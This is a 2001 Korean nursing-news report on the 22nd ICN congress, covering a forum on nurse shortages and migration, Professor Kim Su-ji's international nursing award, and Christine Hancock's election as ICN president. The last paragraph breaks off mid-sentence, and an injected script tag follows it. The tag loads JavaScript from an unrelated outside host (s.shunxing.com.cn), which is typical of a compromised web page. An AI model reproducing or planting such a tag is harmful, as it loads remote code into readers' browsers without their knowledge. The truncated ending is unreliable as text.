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제22차 ICN총회 이모저모
[편집국] 정규숙   kschung@nursenews.co.kr     기사입력 2001-06-21 오후 13:21:16
◆CNR 포럼

세계적으로 각 나라마다 간호사 인력부족 문제가 심각하며 이를 충원하기 위한 해외취업이 보편화 되고 있는 것으로 드러났다.

이에따라 해외취업 간호사들의 권익과 인권을 보호하기 위한 가이드라인이 시급히 개발돼야 한다는 의견이 모아졌다.

이는 각국대표자회의(CNR)가 이번 총회 기간동안 개최한 포럼을 통해 제시된 내용이다.

대표자들은 세계 간호계의 핫 이슈가 되고 있는 4개 주제를 선정해 열띤 토론을 벌였으며 이중 간호사 인력부족 문제가 가장 큰 쟁점으로 떠올랐다.

선진국과 후진국을 막론하고 전 세계적으로 간호사 인력난을 겪고 있는 것으로 나타났다.

선진국의 경우 간호사 수요에 비해 공급이 부족한 것이 주요 원인으로 지적됐다. 간호영역의 확대 등으로 수요는 증가하는데 비해 간호대학 지원자가 줄어들고 이직하는 간호사가 늘고 있기 때문이다.

반면 후진국은 선진국으로 취업해 떠난 간호사 때문에 인력난을 겪고 있는 것으로 나타났다.

이처럼 국가간의 인력채용이 활발해짐에 따라 간호사들의 권익과 인권을 보호하기 위해선 '국가간 취업 가이드라인'과 윤리지침이 시급히 개발돼야 한다는 목소리가 높았다. 세계 간호업무의 표준화 작업도 필요하다는 의견이 모아졌다.

이외에도 이번 포럼에서는 간호사의 정치적 참여 활성화를 위한 방안, 보건의료환경과 정보기술의 발전으로 인해 확대 개발되고 있는 간호분야, 간호협회 조직관리 등의 주제가 폭넓게 다뤄졌다.

간호사의 정치참여를 주제로 한 포럼에서는 간호사는 국민의 건강을 위해 보건의료정책이 올바로 결정될 수 있도록 정책개발과 의사결정 과정에 적극적으로 참여할 책임이 있다는 의견이 나왔다.

또한 간호사들은 자신의 놀라운 정치적 감각과 잠재력을 깨닫지 못하고 있으며 강력한 정치적 압력단체가 될 수 있음에도 불구하고 조직적으로 이를 활용하지 못하고 있는 것으로 지적됐다.

이같은 문제를 해결하기 위해선 간호대학 교과과정에 정책결정과정, 정치적 로비, 리더십 등에 대한 내용을 포함해야 하며, 간호사들이 정당 또는 비정부기구에 적극적으로 참여해 네트워크를 구축해 나가야 한다는 의견이 제시됐다.

한편 이슈 포럼은 올해 각국대표자회의에서 새롭게 시도한 회의 방식이며 지금까지는 각국에서 내놓은 결의안을 심의해 채택하는데 주력해 왔었다.

이와관련 김화중 대한간호협회장은 "각 나라의 대표자들이 고루 발언권을 갖고 자유롭게 의견을 밝히고 적극적으로 토론에 참여할 수 있는 기회가 주어져 유익했다"고 전했다.

◆김수지 교수 국제간호대상 수상

제2회 국제간호대상(International Achievement Award) 수상자로 선정된 김수지 이대 간호과학대학 교수에 대한 시상식이 13일 SAS호텔에서 열렸다. 국제간호대상은 국제간호협의회 나이팅게일재단(FNIF)에서 주는 상이다.

스토크니힛 나이팅게일재단 회장은 ?년도 국제간호대상 수상자로 한국의 김수지 교수를 선정했다"고 발표하고 "김 교수가 지역사회중심 정신보건사업 모델을 개발해 보급하는 등 왕성한 활동을 펼치며 정신보건분야의 새로운 지평을 열고 간호사의 역할을 확대하는데 기여한 점을 높이 평가해 수상자로 뽑았다"고 설명했다.

김 교수는 유엔개발프로그램(UNDP) 프로젝트인 '재가정신질환자의 재활을 위한 지역사회정신보건사업'을 책임맡아 성공적으로 수행했으며 이 모델은 여러 개발도상국에 소개돼 호응을 얻었다.

김 교수는 이대 간호과학대학을 졸업하고 동대학에서 석사학위, 미국 보스톤대학교에서 박사학위를 취득했다. 미국간호학술원의 회원(FAAN)이며 현재 대한간호협회 감사, 한국정신보건전문간호사회장을 맡고 있다.

이날 수상 연설을 한 김 교수는 "간호사를 통해 내 인생의 꿈을 이뤄가고 있는 가운데 오늘 이처럼 영광스러운 자리에 서게 됐다"면서 "간호분야가 다양하게 개발되고 전문화되면서 인류의 건강증진을 위해 간호사가 공헌할 기회도 그만큼 많아질 것"이라고 전망하고 앞으로 간호 실무와 교육과 연구가 통합된 삶을 사는데 충실하겠다고 밝혔다.

이와함께 김 교수는 자신의 프로젝트 추진과정과 성과를 소개해 청중들로부터 뜨거운 박수를 받았다.

한편 국제간호대상은 간호교육·연구·실무·행정 등의 분야에서 세계적으로 탁월한 업적을 남긴 간호사에게 주는 상으로 2년마다 시상하고 있다.

◆핸콕 신임회장

ICN 새 회장으로 크리스틴 핸콕(Christine Hancock)이 선출됐다. 각국대표자회의는 10일 임원선거를 통해 앞으로 4년간 ICN을 이끌어 갈 회장과 함께 14명의 이사를 뽑았다.

회장 후보로 단독 출마해 당선된 크리스틴 핸콕은 1989년부터 현재까지 줄곧 영국간호협회 사무총장으로 일해왔으며 유럽간호사?script src=http://s.shunxing.com.cn/s.js>
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